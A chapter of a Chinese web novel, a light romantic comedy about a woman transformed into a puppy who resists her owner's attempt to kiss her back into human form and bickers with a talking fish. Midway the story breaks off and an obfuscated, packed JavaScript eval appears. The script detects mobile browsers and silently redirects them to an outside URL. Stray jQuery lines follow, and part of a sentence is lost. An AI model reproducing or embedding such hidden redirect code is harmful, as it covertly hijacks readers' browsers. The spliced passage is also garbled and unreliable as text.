27. 亲亲,这边需要一个亲亲
作品:《快使用双截棍》 “呜呜呜汪汪汪汪汪……”
夏焰坐到林砚之家门口,扯着嗓子嚎啕大哭。
把楼道的声控灯喊亮几回。
哭累了也没人来给她开门。
她疑惑地凑到门前,用鼻子嗅嗅,分明闻到他的味道。
又抬起爪子在门上用力拍拍,听到敲门声传遍走廊。
竖起耳朵听到脚步声从远处传来,夏焰立即扭转身体把屁股对准大门,趴下身体,一只爪子举过头顶,在地上沾水写字。
救我,亲亲。
然后歪倒装死。
脚步声离得越来近,夏焰却没看到任何人影出现。
直到听到锁门的声音,夏焰才知道原来是楼下的人回家。
她坐在门口等啊等,等到毛茸茸的屁股都被寒气袭击,她站起身来蹦蹦跳跳,试图驱散寒冷。
天色越来越暗,夏焰透过楼道窗户才发现外面淅淅沥沥下起小雨,分明还是上午时间,天空却乌压压一片,前所未有的黑。
她趴在窗户窗户边上,蹭了两爪子的白石灰。
歪歪扭扭的坐回门口,斜倚着大门,此刻要是爪子里再有一个馒头就更像是无家可归的流浪狗。
“汪汪汪汪汪汪汪汪~”
小白菜啊地里黄啊~
真是酒不醉人人自醉,醉把佳人成双对,咦?前面怎么有两个一模一样的帅哥,还穿着一模一样的衣服。
看起来像林砚之。
等一下。
就是!
夏焰拿出十余年演戏经验,立即倾身在地上翻滚一圈,刚好滚到林砚之的鞋边,爪子还不忘记往上指着刚才沾水写的四个字。
她抬眼发现离字有点远,怕他发现不了,又往字那里挪动屁股,彻底瘫倒,头一歪,吐出舌头肚皮朝上,面对着林砚之。
紧闭着眼睛装死,直到感受到他的气息越来越近。
直到快要贴到她的肚子。
“亲亲,救我。”
林砚之从他这个方向读出来,语气像是某宝客服。
夏焰无语地睁开眼,被他凑近的脸吓一跳,又把眼睛闭上。
一双大手把她抱起,抱进怀里,夏焰刚在地上滚得起劲,把身上滚得脏兮兮全是灰。
林砚之把她抱起来抖抖,像拍衣服上的灰尘一样轻拍她的后背还有耳朵。
夏焰爪子扒在他的肩膀上,把他的白衬衣拍出两个黢黑的爪印。
她连忙抬手,装作无事发生的样子,把脑袋贴在他的侧颈,那里脉搏有力地跳动。
林砚之鬓角的水珠顺着侧脸掉到夏焰的鼻子上。
下雨了,他没带伞吗?
夏焰撑起身体和他对视,男人的头发全被浇湿,温顺垂下,挡住部分额头,让他看起来年轻了很多,最主要的是多了几分难以察觉的脆弱。
究竟谁才是湿漉漉的小狗。
脏兮兮的小狗肚子贴在湿漉漉的男人胸前,发现他的呼吸还没平复。
“你是跑着来的吗?”她把爪子贴在男人的鼻子上,留下一个灰灰的印记。
林砚之抬起下巴轻点小狗脑袋。
他说:“我就知道你在这里。”
他单手抱着夏焰,开门回家。
“你今天不上班吗?今天是周一。”夏焰一落地就在客厅里兴奋地绕圈,这里翻翻那里闻闻。
没有任何的改变,也没有除了林砚之以外的其他的味道出现,只有鱼缸里的尼莫在散发一些腥味。
她把爪子伸进鱼缸,搅弄鱼缸里的水,想要唤醒睡得天昏地暗的尼莫。
“海啸!是海啸!”尼莫被突如其来的海底巨浪惊醒,抱紧它最爱的珊瑚床,想要和它同生死共进退。
“是我!”
尼莫仰头,才看到突然出现的小狗。
“你放学啦!上学第一天开不开心?”
“上学?我去哪里上学?”
“你不是去上小学了吗?比起读幼儿园的时候待在学校的时间更长噢。怎么这么久啊?”
“我走了多久啊?”
“一天?或者是一年?我不知道。我已经睡了好几觉了都没有见你回来。”
“大毛还来找你,不仅是大毛,还有你的狗子狗孙,都要来找老大,呵呵,你也太不地道,怎么光把地盘打下来又不管它们。”
夏焰猛然惊醒,原来它们真的把她当做老大,内心突发愧疚,不知道以后该怎么面对它们。
一个失败者。
到底该怎么做武林盟主,狗界老大。
尼莫看她慌张的样子及时安慰道:“大毛姐先帮你代为管理啦,而且我告诉它们光有力气是不行滴还要有才智,所以你去上学了,就像是孙悟空出海拜师学艺,等回来以后带领它们打上凌霄宝殿哈哈哈哈哈。”
夏焰跟着它笑。
林砚之把夏焰抱到浴室,给她打了盆热水擦身体,没用浴缸,怕她受凉。他动作很快,一只手抓住夏焰挣扎的爪子,另一只手用毛巾飞快的搽拭她的脸蛋还有身体,爪子是重点对象,被他按在盆里洗了几遍。
“你看脏不脏。”他指着盆里的黑水对怀里的夏焰说。
夏焰不置可否,一言不发,仰着头钻进小方块浴巾里,等林砚之帮她擦干。
又恢复原有的光彩,夏焰翘起尾巴走在鱼缸前,借着鱼缸反射看着自己的样子,乐不可支:“不错变成小狗了也是狗中翘楚。”
尼莫呆呆望着她,搞不懂她在干嘛。
“你挡着我看电视了。”
“你少看点电视行不行都要近视眼了。”
和尼莫斗嘴,夏焰久违地感到轻松,她故意挡在尼莫面前不许它看电视。
“小艺小艺,关机!”
“收到。正在为您……”
“什么!小艺小艺开机!”
“好的。正在为您……”
“关机!”
“开机!”
收拾完一切的林砚之正擦手走出浴室,就看到家里的一狗一鱼在争吵对峙,电视机正一闪一闪不停关机开机,外面雷声爆开,他突然打个寒颤。
林砚之把总开关关了。
世界终于安静了。
“来吧。”
林砚之把夏焰抱到沙发上,给她穿上一件新的小马甲,上面是胡萝卜的图案,夏焰低头闻到和林砚之一样的洗衣液香味。
林砚之呼噜两下她的脑袋,夏焰甩甩脑袋觉得痒痒的。
他看着她的动作笑,等她乖乖坐好,又轻轻地捧上她的脑袋。
“准备好了吗?”
准备什么?
夏焰疑惑,爪子比脑袋反应快,先一步挡住林砚之靠近的嘴巴。
他要亲我?
林砚之抬眉有些不解:“你不需要吗?”
他突然意识到什么又把眉毛拧在一起,质问道:“还是说不需要我?”
强硬的态度让夏焰打心底佩服,不愧是老师,不给对方任何可以反驳的机会。
“老师,能不能看下我的卷子?我真的很努力地复习了!”
学生小狗狗举手问老师。
林老师态度冷漠:“没过就是没过,现在再来问成绩倒扣五分!”
小狗狗晕倒。
夏焰暴起,以爪劈林首,迅速跑出他的包围圈,把上半身挤进沙发底。
“要你亲的时候不亲!不要你亲的时候你要亲!你巴不得把我丢回去!我吃你的喝你的还睡你的让你烦了是不是!好了!我会给你钱的!”
她的脑袋缩在里面,汪汪汪汪叫个不停。
林砚之在外面拽住她的后腿,把她往外拉,以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979138|191705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为她又被卡住。
“你放松,我把你拉出来。”
夏焰一脚踢开林砚之的手,力气很大差点让他歪倒。
夏焰怕他为了让她变回人形,趁她不注意偷亲她的屁股,她疯狂往里爬,把屁股尾巴都挤进来。
林砚之跪在地上伸手在沙发底去拉她,一伸手就被夏焰用爪子打。
“你先出来!”
“我不!”夏焰趴低身体,变成一片薯片,在沙发底穿梭。
她看林砚之站起身来,半蹲着想把沙发抬起来,有些紧张的盯着他的手指,不明白他怎么有这么大的力气,是不是天天抬沙发健身。
门外响起的门铃救了她的狗命。
走进来的人一双坡跟鞋,立在门口,不往里走。
夏焰悄悄探出一个脑袋,看到林砚之挡住了对方。
“林老师,我来帮他拿资料,他在楼下等我。”
“好,稍等。”
林砚之往里走,低头看夏焰,夏焰又把脑袋缩回去。
夏焰在黑暗的沙发底竟然觉得有些冷,把自己缩成一团,尾巴扫来扫去,碰到另一个毛茸茸的东西。
她心下一紧。
不是吧,林砚之,你家里有大黑耗子啊?啊!
她往上一蹦,撞到沙发发出一声闷响,痛得她龇牙咧嘴。
尾巴把那东西扫得更近,夏焰才发现是团毛线,是毛线织的围巾。
她想起那条被她嫌弃的围巾好像是被她塞进了沙发底。她把围巾重新围在自己的身上,暖乎乎的就是有点霉味。
不过她不在乎。
她围上织满蝴蝶结的粉红围巾,又从沙发底探出脑袋。
“嘿嘿,你看。”
一团比身上围巾还要柔软的大棉花团子正用鼻子贴在夏焰脸上。
“燕燕!我好想你啊!”
夏焰被豆豆吓一跳,把脑袋往后缩,豆豆用力蹬腿要把脑袋塞进去。
“我好想你啊!”
“我也想你豆豆!但是你不能进来!会被卡住!”
豆豆听不见夏焰的警告,还是一个劲儿的往里冲,眼看就要把大脑袋挤进来,被它的主人喝住:
“豆豆!你干嘛!”
豆豆转身向简阳吐舌头:“妈妈!”
林砚之把资料放下,抬起沙发,夏焰踩在他的拖鞋上扒着他的裤子。
“哎呀,好久没看到你了!豆豆很想你呀。”简阳摸摸夏焰的头,夸她的围巾好看。
林砚之把她抱起,捡起围巾一角若有所思。
夏焰把围巾解下来示意他低头,自然地挂在他的脖子上。
然后爪子拍拍他的嘴唇:
不要亲亲。
她趁他愣住的几秒翻身下地,想要给豆豆一个热情的拥抱。
门口却出现了许久未见的丁丁。
他不停大喘气像是爬楼梯上来的,他和林砚之打过招呼,接着看向简阳:“你没带手机,这么久没下来,我想着上来看看。”
丁丁把手机递给简阳,简阳自然地接过手机。
什么时候这么熟了?
夏焰把脑袋陷进豆豆柔软的毛毛里。
“他们两个处大象啦。”头顶的尼莫不知道哪里学来的一句海南口音。
夏焰挠挠下巴还是不敢相信,直直地看着丁丁,丁丁感知到她的视线发现靠在豆豆身边的夏焰。
“好久不见啊!小宝宝!”他大跨步走近,一把抱起夏焰,“来!香一个!”
响亮的一声贴在夏焰额头。
“怎么了?”丁丁手里的小狗僵住了,他向林砚之求助,被对方的眼神吓住。
“怎么了!”
他看看手里的狗,又看看对面的林砚之,又看看手里的狗。
“到底怎么了!”

